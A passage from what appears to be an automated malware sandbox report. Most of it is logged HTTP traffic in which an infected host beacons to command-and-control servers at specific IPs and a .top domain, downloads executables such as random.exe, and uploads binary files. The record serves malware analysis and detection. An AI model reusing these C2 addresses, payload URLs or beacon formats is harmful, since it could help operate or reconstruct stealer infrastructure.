34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /iPbGOhXhjezIEpnuodWg1732963366?argument=rh10FizSkZe46bf51733003679 HTTP/1.1Host: home.twentykx20sb.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 37 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010788001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 31 30 37 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1010789001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 37 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010790001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 37 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010791001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20sb.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------ar3pt4QxPl778XqS6phNQwData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 72 33 70 74 34 51 78 50 6c 37 37 38 58 71 53 36 70 68 4e 51 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 69 6c 75 71 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f a7 f6 5e a9 d1 e4 22 10 4f 59 9a 4f 17 ae f4 90 76 dd 85 05 a9 3b 7c 64 2d 86 41 cf 91 d0 e2 d2 b6 54 17 f3 5b 9a e8 48 cb 66 d4 d0 db a2 97 6c 90 18 d1 8c ab 9f 79 0e 35 78 b8 4b 5e fa a8 6d 6f d1 1a f3 a2 98 af ce ed cc 8d 22 fe fc de f6 ef 33 7c 71 5e 2a 0a 68 85 c1 45 35 7c 78 3f 69 d0 57 9b d9 54 a3 ac d1 ad 64 06 a1 05 d1 02 2b 6f da 88 61 68 4c 78 a7 76 d4 3a a3 8f e8 e5 de 53 57 21 06 7b c7 80 b7 21 47 4a b7 22 97 f4 58 f4 b5 03 0a f2 1e 7d cb 09 9f 5c 0d 0b d3 ab 65 1b 6c 6f 60 42 49 41 f6 5f fc 06 6b af ea 66 a6 c9 0f 33 f5 62 74 96 78 d8 9a a0 a7 14 ab 00 a2 f8 5b 06 a1 99 5f b7 42 e3 1a cb 91 ac 57 42 ea a2 2d cd 2a 50 10 49 92 e2 a3 cd 32 27 88 de 37 42 68 2e 6a c9 e5 e2 ac 32 a4 39 23 e7 b0 2b a7 09 cf d2 d5 ff 3a f1 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 72 33 70 74 34 51 78 50 6c 37 37 38 58 71 53 36 70 68 4e 51 77 2d 2d 0d 0a Data Ascii: --------------------------ar3pt4QxPl778XqS6phNQwContent-Disposition: form-data; name="file"; filename="Riluqu.bin"Content-Type: application/octet-stream^"OYOv;\|d-AT[Hfly5xK^mo"3\|q^hE5\|x?iWTd+oahLxv:SW!{!GJ"X}\elo`BIA_kf3btx[_BWB-PI2'7Bh.j29#+:--------------------------ar3pt4QxPl778XqS6phNQw--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="build"drum------BFCFBKKKFHCFHJKFIIEH--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20sb.topAccept: /Content-Length: 70826Content-Type: multipart/form-data; boundary=------------------------7ycLhND30xe5VkpmzwzosZData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 79 63 4c 68 4e 44 33 30 78 65 35 56 6b 70 6d 7a 77 7a 6f 73 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 61 6e 6f 6b 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1e c9 1c 19 f4 3b 86 e7 11 97 d2 8d 14 e4 8a 1d d5 12 01 b4 7d 0f 86 ba 6a 08 28 a9 e4 79 a4 5f 54 b6 52 75 fb cc 11 4b 32 90 60 af bc f2 78 8f 90 14 64 93 90 02 0d 6b 0d 95 37 57 26 09 df 63 08 95 21 9f 0e 34 cb 7a 98 a9 dc b9 80 8f 31 ce 64 e9 ca e4 6a eb 03 e0 dc ab 37 f9 6c d7 e1 89 57 fd 5a 3f d1 eb 58 ec eb 0b 91 a7 2e c1 a2 29 3c a5 21 01 98 a6 80 6e 6f e8 b5 94 cb e9 ac a5 5c ee 43 12 a4 05 59 a7 ad 89 63 e2 9c 03 d5 97 b8 ad fe fb 67 54 b5 ab 50 f9 02 12 47 a6 4f 5e f3 3e d4 94 c8 ce 8f 69 5a f8 80 b0 21 12 dd 03 5f 64 66 7a cb 59 99 23 71 56 01 8d cc 10 90 b4 a1 74 e8 f9 da 58 d1 1f 76 37 01 df 20 f4 90 96 55 19 a7 0a 13 1a fe a7 62 3e 6e c6 f0 4d 35 81 29 ff 3d c6 85 73 5e 46 3b cc b0 57 3f e2 da 1f 42 93 bb 27 23 76 bd dd f8 74 ed bb 1c 90 61 19 a7 ec 1d f4 29 07 63 63 ca a1 80 e9 0f 3e 0f de dd 60 41 ec 14 d1 19 d8 0d 82 54 33 80 2e 89 44 95 46 0a 6d 08 c0 d6 3c f7 fa 38 6b 36 26 04 20 86 39 6e 1f 4f bd 39 a4 ae 11 60 a6 9e e7 30 53 87 a5 7f 53 3e f0 2a 69 28 52 bd 9b ed bc 73 bf 02 72 d7 58 6a 5c d8 eb e7 8f f9 8b ca a7 bf 9c 22 24 46 2a 04 81 ef 49 33 06 92 d9 52 60 8e 69 60 9a 6b 9c b0 ba f2 af 6c 4f fe 5b 22 60 fc bd 5f 46 c5 25 78 41 0b 1d 10 2b 07 9c b7 91 18 9c ed 03 d6 ec da 49 b4 3c 08 15 6f 78 d2 31 b0 52 b7 cc 47 a6 53 17 5c 35 5f 63 02 2d 39 65 33 12 ea eb 54 9a 41 e5 f1 0f a8 10 b9 62 a4 d1 6f 1f 4e bb 89 26 73 b1 ab 0a 9a f4 ee 60 0c 49 f4 56 68 26 51 10 82 ec ae 38 32 60 f4 1d b1 1e 0a 04 e7 e8 5b 59 03 9f ee 5e a1 ea 3f dd 55 92 4c ec e0 9b 6d 8f 08 66 5e 78 df 76 54 13 d6 27 fa b4 1b 0d 01 f3 b1 bf f8 b8 54 07 f5 28 df 1d db b6 b4 e7 93 47 65 b8 c5 f0 e8 16 6e 23 12 68 56 d1 c5 7e 79 6f a3 c0 db 35 0a 6d 5f 25 83 b1 a0 ac a2 bb 47 8b 5b cd e2 df 19 1e 0e 17 04 38 f7 4b 23 11 b1 24 ca 67 a5 9c 11 03 c8 30 6a 93 70 71 f1 b9 4c 40 44 2e b9 fa 06 9c 61 e4 31 4a b6 dd 0f fc db 36 cf 39 a0 79 ee bc 9e 3a d4 d6 b9 f5 65 ae 83 6c 71 aa ce a8 45 6b 7e 42 0f c1 e5 7b c8 20 2a 71 17 fb 68 43 d9 9a cb 25 37 38 61 72 95 f5 ae e7 ad 3c a5 3d 6c ca 35 56 80 da e7 7e f7 c1 bd 95 1e f3 38 48 8c ce a4 ab a7 e3 2f dc de 67 74 dc aa 55 7f 67 31 36 30 0f 99 6b 6b d3 26 ac df 5a 33 f9 bd cb c6 6f 07 52 cf 9c ef ba 2d 7c 55 7f cd 23 59 d7 c6 fb 19 da 78 fe 47 ef da a0 9f 7f 52 74 51 43 d5 4a d8 bd d9 ed 52 8e 9e 5e 08 31 91 61 61 fc ec be 17 e2 87 88 7b 05 b9 33 d1 d0 e2 e3 3d 5b
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 30 37 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1010792001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 37 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010793001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"drum------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 34 32 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10001420101&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 2d 2d 0d 0a Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="build"drum------HCFBFBAEBKJKEBGCAEHC--
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
